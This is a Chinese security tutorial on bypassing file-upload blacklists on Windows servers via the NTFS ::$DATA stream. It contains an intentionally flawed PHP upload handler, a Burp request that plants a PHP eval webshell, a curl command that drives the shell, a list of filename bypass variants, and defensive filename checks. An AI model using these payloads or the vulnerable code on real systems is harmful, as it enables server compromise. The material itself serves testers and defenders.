利用NTFS文件系统::$DATA特性绕过Windows服务器文件上传黑名单检测

1. 项目概述：当文件上传遇上Windows服务器

在Web安全测试的日常工作中，文件上传漏洞一直是个“宝藏”点。它不像SQL注入那样需要复杂的逻辑构造，也不像XSS那样依赖用户交互，一个简单的上传点，如果防护不当，往往能成为直通服务器内网的“高速公路”。尤其是在Windows服务器环境下，事情会变得更有趣。很多开发者，甚至是一些安全防护产品，都习惯性地以Linux的思维来设计防护规则，比如检查文件扩展名、MIME类型，或者使用黑名单过滤.php、.jsp等危险后缀。然而，他们常常忽略了Windows NTFS文件系统自身的一些“特性”。今天要聊的，就是如何利用NTFS文件系统的::$DATA流特性，巧妙地绕过这些看似严密的黑名单检测，实现文件上传并执行。

这不仅仅是理论上的技巧，在实战中，尤其是面对使用ASP、ASP.NET或老旧PHP版本搭建在Windows服务器上的应用时，成功率相当可观。核心原理在于，NTFS看待文件的方式和我们通常的认知不太一样。理解了这个，你就能明白为什么一个名为shell.php:.jpg的文件，最终在服务器上会变成shell.php。接下来，我们就从NTFS的基础讲起，一步步拆解这个绕过手法的原理、实战步骤以及背后的防御思路。

2. NTFS文件系统基础与流文件概念

要理解::$DATA的绕过原理，我们必须先抛开简单的“文件名.扩展名”思维，深入了解一下NTFS（New Technology File System）文件系统。NTFS是微软为Windows NT系列开发的高级文件系统，它引入了一个非常关键的概念：交替数据流。

2.1 什么是交替数据流（ADS）

你可以把一个NTFS文件想象成一棵树的主干。这个主干，就是文件的“默认数据流”，它存储着我们通常用记事本打开、用播放器播放的那些主要内容。ADS则像是这棵树上的枝丫，它们附着在主文件上，但可以独立存储数据、拥有独立的大小和属性，甚至可以被单独访问。

在NTFS的视角里，一个完整的文件资源标识符是这样的格式：<filename>:<stream name>:<stream type>。

• <filename>: 就是我们看到的文件名，例如readme.txt。
• <stream name>: 流名称。默认的、主要的数据流没有名称（或者说名称为空）。我们可以创建其他命名的流，比如secret。
• <stream type>: 流类型。$DATA就是最常见的数据流类型。

所以，我们平常操作的文件shell.php，在NTFS内部完整的表示是shell.php::$DATA。这里的::$DATA指的就是它的默认数据流。这个冒号:在NTFS中是一个关键的分隔符，用于区分文件名和流名。

2.2 流文件的创建与访问

在Windows命令行（cmd）中，我们可以轻松创建和访问ADS。这有助于我们建立直观感受。

创建ADS并写入内容：

# 创建一个名为hidden.txt的ADS，附着于file.txt文件，并写入“This is secret data” echo This is secret data > file.txt:hidden.txt # 检查file.txt的大小，你会发现它依然是0字节！因为数据写入了ADS，而非主数据流。 dir file.txt

读取ADS内容：

# 使用more命令或type命令读取特定ADS的内容 more < file.txt:hidden.txt # 或者 notepad file.txt:hidden.txt

关键点：当你在资源管理器里查看file.txt时，你完全看不到hidden.txt这个流的存在，它的尺寸也不会加到主文件上。这就是ADS的“隐藏”特性。许多恶意软件历史上曾利用ADS来隐藏自身。

2.3::$DATA在文件操作中的行为

现在来看我们的主角::$DATA。当我们指定一个文件为shell.php::$DATA时，我们是在明确地告诉操作系统：“我要操作的是shell.php这个文件的默认数据流。” Windows系统在处理文件路径时，有一个关键行为：它会自动剥离::$DATA及其之后的所有内容，只将冒号:前面的部分作为实际存储的文件名。

例如：

• 你尝试保存一个文件为test.php::$DATA。
• Windows内核的文件系统驱动接收到这个请求。
• 驱动解析路径，识别出::$DATA，于是它知道要操作默认数据流。
• 最终，文件以test.php的名称被写入磁盘。后面的::$DATA在存储层面被丢弃了，它只是一个用于指示操作对象的“指令”。

这个行为，就是我们绕过黑名单检测的基石。很多上传校验逻辑只检查用户提供的完整文件名（如shell.php::$DATA），发现它以.jpg、.png结尾（因为::$DATA看起来像后缀的一部分？不，关键在后面），或者不在黑名单内（因为黑名单里只有.php，没有.php::$DATA），就予以放行。但服务器在接收并保存这个文件时，Windows系统会将其“规范化”为shell.php，从而让恶意脚本得以落地。

注意：这里存在一个常见的误解。有些文章会说因为::$DATA看起来像奇怪的后缀所以绕过，其实更核心的是:号。在NTFS中，:是保留字。许多用高级语言（如PHP的pathinfo()、Python的os.path.splitext()）编写的校验函数，在处理包含:的文件名时可能会产生非预期结果，比如错误地提取了扩展名。但最根本的绕过，源于Windows存储文件时对::$DATA的自动剥离行为。

3. 文件上传漏洞的常规检测与绕过逻辑

在利用NTFS特性之前，我们有必要梳理一下常见的文件上传防护手段及其弱点。知己知彼，才能找到最合适的突破口。

3.1 常见的客户端与服务端检测方式

1. 客户端检测（JavaScript校验）：

   • 方式：在文件选择后、上传前，通过JavaScript检查文件名后缀。
   • 绕过：极其简单。禁用浏览器JavaScript、使用Burp Suite等工具拦截修改上传请求包，或者直接编写一个不带前端校验的表单进行提交即可。这种防护形同虚设。

2. 服务端MIME类型检测：

   • 方式：检查HTTP请求头中的Content-Type字段，例如image/jpeg、image/png。
   • 绕过：同样通过代理工具拦截请求，将Content-Type修改为允许的类型即可。例如，即使上传的是.php文件，也将Content-Type改为image/jpeg。

3. 服务端文件扩展名检测（黑名单/白名单）：

   • 黑名单：禁止上传如.php、.asp、.aspx、.jsp、.exe等危险后缀。
   • 弱点：名单可能不全。可能遗漏.php5、.phtml、.phps、.asa、.cer等也能被解析的后缀。或者，可以利用系统特性（如本次的NTFS流、Linux下的点号.、空格等）进行绕过。
   • 白名单：只允许上传如.jpg、.png、.gif等后缀。
   • 强度：理论上比黑名单安全得多。但实现不严谨时（如先允许上传，再重命名时校验），仍可能存在漏洞。

4. 服务端文件内容检测：

   • 方式：检查文件内容的开头字节（文件头/魔数），如图片文件的FF D8 FF E0（JPEG）或89 50 4E 47（PNG）。或者进行二次渲染（如图片压缩），破坏嵌入的恶意代码。
   • 绕过：难度较高。可能需要制作图片马（将恶意代码附加在图片文件尾部），并利用包含漏洞（如include($_GET[‘file’])）或解析漏洞（如Apache的test.jpg.php解析）来执行。对于二次渲染，需要精细调整代码位置，使其在渲染后依然有效。

5. 服务端重命名与目录隔离：

   • 方式：上传后，服务器使用随机字符串（如时间戳+UUID）为文件重命名，并存储在非Web可访问目录，通过数据库记录映射。
   • 强度：这是非常有效的防御手段，直接从物理上切断了用户控制文件路径和名称的可能性。漏洞往往出现在其他环节，如重命名逻辑本身有缺陷。

3.2 黑名单机制的典型缺陷

我们的目标——::$DATA绕过，主要针对的就是不严谨的黑名单机制。其缺陷体现在：

• 过滤逻辑与存储逻辑脱节：应用层的过滤代码检查的是shell.php::$DATA这个字符串，判断.php是否在黑名单里。它可能因为字符串末尾不是.php而放行。然而，底层的操作系统（Windows）存储时，却按照NTFS规则将其存为shell.php。安全校验和实际执行环境出现了认知偏差。
• 对特殊字符处理不当：很多校验函数对Windows文件系统保留字（如:、<、>、"、|、?、*）的处理行为不一致。有的会转义，有的会删除，有的会报错，这就产生了可利用的缝隙。

4.::$DATA绕过技巧的实战演练

理论铺垫完毕，我们进入实战环节。假设我们面对一个Windows服务器上的上传点，它采用黑名单过滤.php、.asp等后缀。

4.1 环境准备与漏洞识别

首先，我们需要一个测试环境。你可以使用DVWA、Upload-Labs或自己搭建一个简单的存在黑名单缺陷的上传页面。 一个简单的有缺陷的PHP后端代码示例如下：

<?php // upload.php - 存在缺陷的黑名单过滤 $allowed_types = array('image/jpeg', 'image/png', 'image/gif'); $blacklist = array('.php', '.asp', '.aspx', '.jsp', '.exe'); $upload_dir = 'uploads/'; $file_name = $_FILES['file']['name']; $file_tmp = $_FILES['file']['tmp_name']; $file_type = $_FILES['file']['type']; // 1. 检查MIME类型（可绕过） if(!in_array($file_type, $allowed_types)) { die('Invalid file type.'); } // 2. 黑名单检查扩展名（目标绕过点） $ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION)); if(in_array('.' . $ext, $blacklist)) { die('Dangerous file extension not allowed.'); } // 3. 移动文件（漏洞触发点） $destination = $upload_dir . $file_name; if(move_uploaded_file($file_tmp, $destination)) { echo "File uploaded successfully: " . htmlspecialchars($file_name); } else { echo "Upload failed."; } ?>

识别关键点：

1. 它使用pathinfo($file_name, PATHINFO_EXTENSION)来提取扩展名。在PHP中，pathinfo()函数遇到shell.php::$DATA这样的路径时，其行为取决于PHP版本和操作系统。在某些环境下，它可能无法正确解析出.php后缀，而是返回空或::$DATA的一部分，从而绕过黑名单检查。但更通用的绕过不依赖于此函数的行为，而是依赖后续的存储行为。
2. 最关键的一行是$destination = $upload_dir . $file_name;。它直接将用户控制的文件名（$file_name）拼接到了目标路径。如果$file_name是shell.php::$DATA，那么$destination就是uploads/shell.php::$DATA。
3. move_uploaded_file()函数是PHP将临时文件移动到指定位置的函数。当它在Windows系统上执行，且目标路径包含::$DATA时，Windows文件系统驱动会介入，最终存储在磁盘上的文件将是uploads/shell.php。

4.2 利用Burp Suite进行攻击

我们更倾向于使用代理工具进行精确攻击，因为可以绕过前端校验并修改请求包。

1. 配置代理：打开Burp Suite，浏览器配置好代理。

2. 正常上传：在网页上传一个无害的图片文件（如test.jpg），捕获这个HTTP POST请求。

3. 修改请求包：在Burp的Proxy -> Intercept标签页，找到被拦截的上传请求。主要修改两个地方：

   • 文件名：找到Content-Disposition头中的filename参数，将其从"test.jpg"修改为"shell.php::$DATA"。
   • 文件内容：在请求体（HTTP body）中，将图片的二进制内容替换为你准备好的WebShell代码，例如一个简单的PHP一句话木马：<?php @eval($_POST[‘cmd’]);?>。
   • MIME类型：为了更逼真，可以将Content-Type从image/jpeg改为text/plain或application/octet-stream，但这不是必须的，因为后端可能只检查后缀。

   修改后的请求片段示例：

   POST /upload.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="file"; filename="shell.php::$DATA" Content-Type: text/plain <?php @eval($_POST['cmd']);?> ------WebKitFormBoundaryABC123--

4. 转发请求：关闭拦截，让修改后的请求发送到服务器。

5. 查看响应：如果服务器返回“上传成功”，并显示文件名shell.php::$DATA，那么有很大概率成功了。

6. 访问文件：尝试在浏览器访问http://target.com/uploads/shell.php（注意，不是shell.php::$DATA）。如果服务器配置了执行PHP，且文件确实以.php落地，那么访问这个URL可能会没有任何显示（因为一句话木马需要POST参数），或者出现空白页/错误。此时，你需要使用中国菜刀、蚁剑等WebShell管理工具，或者用curl命令来连接测试。

   curl -X POST http://target.com/uploads/shell.php -d "cmd=echo phpinfo();"

   如果返回了PHP信息页，恭喜你，漏洞利用成功。

4.3 其他相关的NTFS绕过技巧

::$DATA只是NTFS特性利用的一个例子。围绕:和空格等字符，还有一些变种：

1. 文件名后加空格与点号：shell.php.或shell.php（末尾有一个空格）。在Windows中，文件系统会自动去除文件名末尾的点和空格。但一些基于字符串匹配的校验逻辑可能不会。例如，黑名单检查shell.php.是否以.php结尾？可能不会，因为它以.结尾。但保存后，文件变成了shell.php。

   • 注意：这种方法在较新版本的PHP/Win系统中可能已被修复或行为不同，需要测试。

2. 利用分号;：在某些古老的或配置不当的解析环境下（如IIS 6.0），shell.asp;.jpg可能会被解析为ASP文件。但这属于解析漏洞范畴，与NTFS本身关系不大。

3. 大小写绕过：对于大小写不敏感的黑名单（或Windows系统本身），shell.Php、shell.PHP可能被绕过。但现代黑名单通常使用strtolower()统一处理，此方法已不太有效。

实操心得：在实战中，::$DATA技巧的成功率与服务器环境紧密相关。它必须同时满足几个条件：Windows服务器、使用黑名单或存在缺陷的白名单校验、校验逻辑与存储逻辑不一致、上传目录有执行权限。在测试时，可以结合其他方法进行组合拳攻击，比如先尝试shell.php::$DATA，不行再尝试shell.php.、shell.php、shell.pHp等。

5. 深入原理：从PHP到Windows内核的调用链

为了更透彻地理解，让我们追踪一下一次成功的::$DATA绕过中，数据流的完整路径。

1. 用户提交：用户通过表单提交一个文件，文件名为shell.php::$DATA，内容为恶意PHP代码。
2. PHP接收：PHP的$_FILES[‘file’][‘name’]获取到的原始文件名就是shell.php::$DATA。
3. 应用层校验：PHP代码调用pathinfo($_FILES[‘file’][‘name’], PATHINFO_EXTENSION)。在Windows下的某些PHP版本中，这个函数可能会因为:字符而返回$DATA或空字符串，导致黑名单检查in_array(‘.’ . ‘$DATA’, $blacklist)失败。但即使它成功提取出了.php并拦截，我们讨论的漏洞场景是它没拦截成功的情况。
4. 文件移动：PHP代码调用move_uploaded_file($tmp_name, ‘uploads/’ . ‘shell.php::$DATA’)。
5. 系统调用：move_uploaded_file内部会调用Windows的底层文件操作API，例如MoveFileEx。
6. 内核文件系统驱动（NTFS.sys）：这是关键环节。Windows内核在解析目标路径uploads/shell.php::$DATA时，识别出::$DATA是用于指定默认数据流的NTFS对象标识符。根据NTFS规范，它知道要操作的是shell.php文件的默认数据流。
7. 磁盘写入：内核驱动将文件内容写入到uploads/shell.php的默认数据流中。在磁盘上，文件名就是shell.php。::$DATA这个后缀并没有作为文件名的一部分被存储。
8. Web请求：当用户访问http://target.com/uploads/shell.php时，Web服务器（如Apache、IIS、Nginx）接收到请求，根据映射规则找到磁盘上的shell.php文件。
9. 解释执行：Web服务器看到.php扩展名，将其交给PHP解释器（如php-cgi）处理。PHP解释器读取shell.php文件的内容（即默认数据流中的恶意代码）并执行。

整个漏洞链条的断裂点可以发生在第3步（严格校验）、第6步（现代系统可能对路径有更多检查）、第8步（无执行权限）。我们的利用正是钻了第3步校验不严和第6步系统默认行为之间的空子。

6. 防御策略与安全开发建议

知道了如何攻击，才能更好地防御。对于开发者而言，完全杜绝此类漏洞需要多层次的防护。

6.1 服务端防御黄金法则

1. 使用白名单，而非黑名单：这是最重要的原则。只允许业务必需的文件类型，例如只允许.jpg、.png、.gif。将允许的扩展名列表存储在配置文件中，便于维护。

   $whitelist = array(‘jpg’, ‘jpeg’, ‘png’, ‘gif’); $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (!in_array($ext, $whitelist)) { die(‘File type not allowed.’); }

2. 对文件名进行规范化与过滤：在保存文件之前，对文件名进行严格的清洗。

   • 去除特殊字符：移除文件名中所有非字母数字、点号、连字符、下划线之外的字符。特别注意Windows保留字（< > : “ / \ | ? *）。
   • 处理末尾点/空格：使用rtrim($filename, ‘. ‘)去除末尾的点和空格。
   • 处理NTFS流：检查文件名中是否包含:，如果包含则直接拒绝。或者，将:替换为其他安全字符（但直接拒绝更安全）。

   // 检查NTFS流等特殊字符 if (strpos($filename, ‘:’) !== false || preg_match(‘/[\<\>:\”\/\\\|?*]/’, $filename)) { die(‘Invalid characters in filename.’); } // 去除末尾点空格 $filename = rtrim($filename, ‘. ‘);

3. 重命名文件：不要使用用户上传的文件名。使用服务器生成的唯一文件名，如md5(uniqid() . mt_rand()) . ‘.’ . $ext。这能从根本上防止用户控制文件路径和名称。

   $new_filename = md5(uniqid() . mt_rand()) . ‘.’ . $ext; $destination = $upload_dir . $new_filename;

4. 设置安全的目录权限：

   • 将上传目录设置为不可执行。在Windows上，可以通过IIS管理器或文件系统权限，移除上传目录的“执行”权限。
   • 将上传目录放在Web根目录之外，然后通过脚本（如PHP的readfile()）来读取和输出文件。这样用户即使上传了脚本，也无法直接通过URL访问执行。

5. 检查文件内容：对于图片等文件，可以使用GD库或Imagick函数进行二次渲染和保存，这能有效破坏隐藏在文件中的恶意代码。同时，检查文件头魔数是否与扩展名匹配。

6. 使用安全的函数处理路径：在PHP中，尽量使用basename()函数来获取文件名，它可以一定程度上防止目录遍历，但对NTFS流无效。最可靠的还是结合上述过滤和重命名。

6.2 针对::$DATA绕过的专项检查

在代码中显式添加对NTFS流标识的检测：

function isSafeFilename($filename) { // 检查是否包含NTFS数据流标识 if (preg_match(‘/::$DATA$/i’, $filename) || strpos($filename, ‘:’) !== false) { return false; } // 其他安全检查... return true; }

6.3 运维层面建议

• 及时更新：保持操作系统、Web服务器（IIS/Apache/Nginx）、编程语言环境（PHP/Python/Java）的及时更新，修复已知的解析漏洞。
• 安全配置：在IIS中，可以配置请求过滤规则，阻止包含特定字符（如:）的URL请求。
• 使用Web应用防火墙（WAF）：部署WAF可以帮助拦截一些已知的文件上传攻击payload。

7. 实战中的疑难问题与排查记录

即使在理论通顺的情况下，实战中也可能遇到各种“坑”。以下是我在多次测试中遇到的一些典型问题及解决思路。

7.1 问题一：上传显示成功，但访问shell.php返回404

• 可能原因1：文件并未以.php保存。
  • 排查：尝试访问shell.php::$DATA（如果服务器配置了静态文件处理，可能会直接返回文件内容）。或者，让服务器返回上传后的完整文件路径（如果有回显），看看究竟是什么。
  • 分析：可能是服务器的中间件或安全软件在文件保存前对路径进行了额外的清理，去掉了::$DATA，但也可能错误地处理了整个文件名。有些环境可能会将:转换为其他字符（如下划线_），最终文件名为shell.php_$DATA。
• 可能原因2：上传目录无执行权限。
  • 排查：上传一个纯文本文件test.txt，内容为<?php echo ‘test’;?>，然后通过浏览器访问它。如果显示的是文本内容而非执行后的test，说明该目录没有PHP执行权限。这是最好的安全实践，但也意味着你的WebShell无法执行。
  • 绕过思路：寻找其他漏洞，如本地文件包含（LFI），将上传的.txt文件包含进来执行。

7.2 问题二：上传请求被拦截，返回“非法文件”等错误

• 可能原因1：前端JavaScript校验。
  • 排查：关闭浏览器JS，或使用Burp Suite直接发送POST请求，绕过前端。
• 可能原因2：服务端有更全面的黑名单或WAF。
  • 排查：尝试上传一个纯图片文件test.jpg，看是否成功。如果成功，再尝试修改扩展名。逐步测试黑名单列表。可能::$DATA本身被加入了特征库。
  • 绕过思路：尝试双扩展名shell.php.jpg（依赖解析漏洞）、大小写混淆、点空格结尾、以及shell.php.%70%68%70（URL编码）等变形。

7.3 问题三：文件保存成功，但内容被截断或损坏

• 可能原因：某些上传处理代码会在读取$_FILES[‘file’][‘tmp_name’]的临时文件时，因为路径中的:字符而出现异常，导致文件内容读取不完整。
• 排查：上传一个内容较长的文本文件，检查服务器上保存的文件是否完整。
• 解决：这种情况较少见。确保你的攻击payload尽量简洁。一句话木马通常很短，不易被截断。

7.4 问题四：在Linux服务器上测试无效

• 核心原因：::$DATA是NTFS文件系统的特性。Linux的Ext4、XFS等文件系统没有此概念。在Linux上，shell.php::$DATA会被当作一个完整的、包含特殊字符的文件名来创建，而不会被剥离。因此，这个技巧仅对Windows服务器有效。
• 注意：如果Web应用部署在Linux上，但文件存储挂载了来自Windows的NTFS格式磁盘或Samba共享，则此技巧可能仍然有效，因为最终文件操作由底层的NTFS驱动处理。

踩坑记录：曾经在一次内部渗透测试中，遇到一个上传点，前端和后端都做了严格校验。但发现其日志功能允许用户上传日志文件，且日志文件存储目录与Web主目录不同。通过::$DATA技巧将PHP文件上传至日志目录后，虽然无法直接Web访问，但结合一个已存在的任意文件读取漏洞，成功读取并包含了这个PHP文件，最终获得权限。这说明，攻击链的构建往往需要结合多个漏洞点，::$DATA有时可以作为“文件落地”的关键一步。

8. 拓展思考：漏洞的泛化与自动化检测

这个漏洞的本质是校验上下文与执行上下文的不一致。::$DATA是一个具体的技术点，但这类问题可以泛化。

• 泛化场景：任何在A环境（应用层校验逻辑）下检查通过，在B环境（操作系统层、数据库层、中间件层）下解释执行时产生差异的情况，都可能存在漏洞。

  • 例如：SQL注入中，应用层转义了单引号，但数据库处于GBK编码且使用addslashes时，可能产生宽字节注入。
  • 例如：XSS中，输出到HTML上下文做了转义，但输出到JavaScript<script>标签内时，转义规则不同导致绕过。

• 自动化检测思路：对于文件上传漏洞，可以构建一个自动化测试脚本来探测。

  1. 生成一系列带有各种绕过payload的文件名列表，如[‘test.php’, ‘test.php::$DATA’, ‘test.php. ‘, ‘test.php;.jpg’, ‘test.pHp’, ‘test.php%00.jpg’]。
  2. 依次使用这些文件名上传一个包含无害检测代码的文件（如<?php echo md5(‘test’);?>）。
  3. 如果服务器返回上传成功，则根据返回的路径或猜测的路径，尝试以Web方式访问该文件（如http://target.com/uploads/test.php）。
  4. 如果访问返回的结果中包含我们预设的md5值，则证明文件不仅上传成功，而且被以脚本形式执行了，漏洞存在。
  5. 工具需要处理Cookies、Session、Token等认证机制，以及可能存在的CSRF防护。

这种自动化检测可以集成到Burp Suite的插件或独立的扫描器中，但需要注意避免对生产系统造成破坏。

最后，我想强调的是，安全是一个持续对抗的过程。::$DATA这类技巧揭示了深层次的安全问题：开发者和安全人员必须充分理解应用所运行的基础环境（操作系统、文件系统、中间件）的细微特性。仅仅在应用层进行简单的字符串匹配是远远不够的。对于防御方，坚持白名单、重命名、权限最小化原则，并辅以严格的文件名清洗，才能从根本上筑牢文件上传的安全防线。而对于攻击方或安全测试人员，掌握这些特性，则能更深入地发现那些隐藏的安全隐患。